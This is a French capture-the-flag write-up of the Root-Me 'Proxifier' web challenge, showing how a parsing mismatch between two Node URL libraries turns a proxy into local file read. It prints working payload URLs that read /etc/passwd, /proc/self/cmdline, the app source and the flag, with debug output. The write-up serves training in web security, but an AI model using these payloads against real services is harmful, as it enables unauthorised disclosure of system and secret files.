[Root-Me] Web - Proxifier

6 minute read

Proxifier

  • Category: Web
  • Points: 500 => 497
  • Difficulty: Moyenne
  • Solves: 10

Description

How using several URL parser on the same input could be dangerous ? Challenge link : http://ctf10k.root-me.org:6005

Auteur : Kevin_Mizu#9360 https://ctf10kd.root-me.org/files/053c13df27ff310aced11c2887eaf4fc/proxifier.zip

Introduction

Alors en gros c’est un site en NodeJS qui permet de faire des requêtes vers le site Root-Me. Si on rentre plus dans les détails le site utilise Express pour gérer la partie web (qui ne nous intéresse pas plus que ca) et se sert de deux librairies pour parser (traiter leurs données) les urls:

  • url-parse ^1.5.10
  • parse-url ^7.0.2

Le programme utilise aussi node-fetch pour faire des requêtes et fs pour lire des fichiers.

On remarque que quand on download les libs, npm se met à pleurer en expliquant que on est un dangereux malade et que il y a une “critical severity vulnerability”

En cherchant plus de détail avec npm audit il est indiqué que toutes les versions de parse-url jusqu'à la version 8.0.0 sont vulnérable à une faille critique de “host name spoofing”

Heureusement pour nous en cherchant pas trop loin on tombe sur une cette POC: https://huntr.dev/bounties/3587a567-7fcd-4702-b7c9-d9ca565e3c62/

En regardant en détail ce qu’il se passe on remarque que la lib parse-url lis mal les informations de l’url tandis que la libraire url elle la parse bien.

En quoi est ce intéressant dans notre cas ?

Et bien pour y répondre nous allons d’abord analyser notre code :).

On lis pas du code nous ?

Je vais résumer assez rapidemment le début du code par ce que il n’est pas très intéressant et le but c’est pas de faire du dev.

  • Il y a une variable FLAG_PATH qu’on utilisera probablement par la suite
  • Le serveur a un seul endpoint nommé proxy qui prend un parametre url et qui piaille si on ne lui en donne pas un. Par contre dans le cas contraire il appelle la fonction getURL avec le parametre url qu’on lui a donne à mangé.

Que fait cette fonction getURL ?

Premier Step:

  • Elle parse le protocol, hostname, pathname avec la fonction urlParse de la lib url-parse qui n’est pas vulnérable.
  • Elle compare la variable protocole avec https: et check si la variable host fini par root-me.org.
  • Si toute ces conditions sont réunies on continue l’exécution du programme sinon on nous return Protocol must be https and host end with 'root-me.org'.

Deuxième Step:

  • Cette fois on reparse protocole avec la fonction parseUrl de la lib parse-url qui est vulnérable.
  • On redéfini host et pathname en fonction de si l’url donné est relative ou pas avec new Url.

Troisième Step:

  • Si le protocole que l’on viens de parser est https: on fait une requete sous forme la forme de ${protocole}://${host}${pathname}
  • Si le protocole que l’on viens de parser est file et que l’host est égal à 127.0.0.1 alors on lis le fichier defini dans pathname.

On aligne pas des neurones nous ?

Je lance le chall en local de manière à pouvoir le debug.

Je cherche d’abord à avoir mon protocole détecté en file au moment du step 2 mais pas au step 1 par ce que sinon le programme exit est c’est perdu. Pour cela il nous suffit de voir a quel moment la faille de parse-url rentre en jeu. De ce que j’arrive à voir parseUrl a un peu de mal avec les : donc je tente ma chance et je fait un localhost:3000/proxy?url=https://:root-me.org. Quelle ne fut pas ma surprise quand je recu un protocole file dans ma console au moment du deuxième check. Je tente quand meme au cas ou pour un truc plus stable et j’arrive pas à mettre file:// dans mon url sans trigger le filtre donc je me contente de mes deux points.

 1getUrl(https://:root-me.org) =>
 2
 3Premier check
 4{
 5  slashes: true,
 6  protocol: 'https:',
 7  hash: '',
 8  query: '',
 9  pathname: '/',
10  auth: '',
11  host: ':root-me.org',
12  port: '',
13  hostname: ':root-me.org',
14  password: '',
15  username: '',
16  origin: 'https://:root-me.org',
17  href: 'https://:root-me.org/'
18}
19Deuxième check
20{
21  protocols: [ 'file' ],
22  protocol: 'file',
23  port: '',
24  resource: '',
25  user: '',
26  password: '',
27  pathname: '',
28  hash: '',
29  search: '',
30  href: 'https://:root-me.org',
31  query: {}
32}

Hello World

Il ne me restais plus qu’a trouver comment mettre host à 127.0.0.1 sans niquer le premier check. A ce moment la j’ai un peu buggé donc je vais vous retracer mon chemin de pensée vous allez voir c’est passionnant.

J’ai pensé à injecté dans l’url des param url avec des array et tout style: http://localhost:3000/proxy?url[pathname][host]=127.0.0.1&url[pathname][pathname]=/etc/passwd&url[pathname][host]=127.0.0.1&url[pathname][protocol]=https&url[pathname][origin]=https://root-me.org&url=https://:root-me.org mais ca a pas marché :( .

Je me suis RTFM vite fait et enfait dans la doc de URL ils nous disent que

1 new URL("//foo.com", "https://example.com")    
2 // => 'https://foo.com' (see relative URLs)

Donc je fait un test avec http://localhost:3000/proxy?url=https://:root-me.org//127.0.0.1 et je remarque:

  • J’obtiens une reponse “No such file or directory.” ce qui veut dire que j’ai réussi à définir mon host à 127.0.0.1.
  • Quand je regarde les log j’obtiens ceci:
 1getUrl(https://:root-me.org//127.0.0.1)
 2Premier check
 3{
 4  slashes: true,
 5  protocol: 'https:',
 6  hash: '',
 7  query: '',
 8  pathname: '//127.0.0.1',
 9  auth: '',
10  host: ':root-me.org',
11  port: '',
12  hostname: ':root-me.org',
13  password: '',
14  username: '',
15  origin: 'https://:root-me.org',
16  href: 'https://:root-me.org//127.0.0.1'
17}
18Deuxième check
19{
20  protocols: [ 'file' ],
21  protocol: 'file',
22  port: '',
23  resource: '',
24  user: '',
25  password: '',
26  pathname: '',
27  hash: '',
28  search: '',
29  href: 'https://:root-me.org//127.0.0.1',
30  query: {}
31}
32Hostname: 127.0.0.1

merveilleux on a plus qu’a faire localhost:3000/proxy?url=https://:root-me.org//127.0.0.1/etc/passwd et je récupère avec succes mon /etc/passwd :)

On flag pas nous ?

Si vous vous rappelez bien au début on avait parlé d’une variable “FLAG_PATH” dans le script. Donc pour trouver FLAG_PATH il faut lire le script sur le serveur. Le chall est lancé avec la commande suivante: node /path_du_truc/app.js alors il suffit de lire le fichier /proc/self/cmdline pour trouver le path du script.

Ce qui nous fait: http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/proc/self/cmdline

On récupère: node /var/app/you_wont_guess_it.js

Puis on lis /var/app/you_wont_guess_it.js

http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/var/app/you_wont_guess_it.js pour récuperer le path du flag dans la variable.

On récupère:

1const FLAG_PATH = "a49b4e26e4b6b4638f225fb342a645ce/flag.txt"

Et la hop on lis le flag avec http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/var/app/a49b4e26e4b6b4638f225fb342a645ce/flag.txt

Ce qui nous donne le flag: RM{T4k3_C4R3_0f_Y0uR_URL_P4rs3R}

Merci de m’avoir lu :).

Si vous avez une question n’hésitez pas à m’envoyer un message sur mon discord: @numb3rss